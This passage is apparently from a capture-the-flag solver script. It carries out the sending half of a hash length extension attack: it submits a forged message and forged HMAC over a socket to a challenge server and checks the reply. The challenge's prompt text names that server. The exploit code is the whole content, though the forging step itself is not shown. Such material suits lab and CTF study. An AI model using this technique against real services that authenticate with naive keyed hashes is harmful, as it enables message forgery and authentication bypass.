                print(f"      {new_message.decode('ascii', errors='replace')}")
                print(f"    - Forged Message Length: {len(new_message)} bytes")
                print(f"    - Forged HMAC: {new_hmac}\n")
            except Exception as e:
                print(f"[!] Error during length extension attack: {e}")
                return

            # Send the forged message (only the visible part)
            try:
                print("[*] Sending Forged Message to Server...")
                visible_message = actual_message + append_message
                s.sendall(visible_message.encode() + b"\n")
                print(f"[*] Sent Forged Message: {visible_message}")
            except Exception as e:
                print(f"[!] Error sending forged message: {e}")
                return

            # Receive prompt for forged HMAC
            try:
                forged_prompt = s.recv(1024).decode().strip()
                print(f"Server: {forged_prompt}")
            except socket.timeout:
                print("[!] Timeout while waiting for server prompt after sending forged message.")
                return
            except Exception as e:
                print(f"[!] Error receiving server prompt after forged message: {e}")
                return

            # Send forged HMAC
            try:
                print("[*] Sending Forged HMAC to Server...")
                s.sendall((new_hmac + "\n").encode())
                print(f"[*] Sent Forged HMAC: {new_hmac}")
            except Exception as e:
                print(f"[!] Error sending forged HMAC: {e}")
                return

            # Receive response
            try:
                print("[*] Waiting for server response...")
                response = s.recv(4096).decode().strip()
                print(f"Server Response: {response}")
                
                # You can add more specific checks here
                if "Congratulations" in response:
                    print("[*] Challenge solved successfully!")
                elif "Invalid" in response:
                    print("[!] The server rejected our forged message or HMAC.")
                else:
                    print("[?] Unexpected server response. Please check the output.")
            except socket.timeout:
                print("[!] Timeout while waiting for final server response.")
            except Exception as e:
                print(f"[!] Error receiving final server response: {e}")

        except socket.timeout:
            print("[!] Socket timeout occurred. The server didn't respond in time.")
        except Exception as e:
            print(f"[!] An unexpected error occurred: {e}")

if __name__ == "__main__":
    solve_challenge()

Flint Snowpoint hid his secret key on his remote server located at "challenges.icsjwgctf.com:9002".
His server is running the "snowpoint_connection" executable.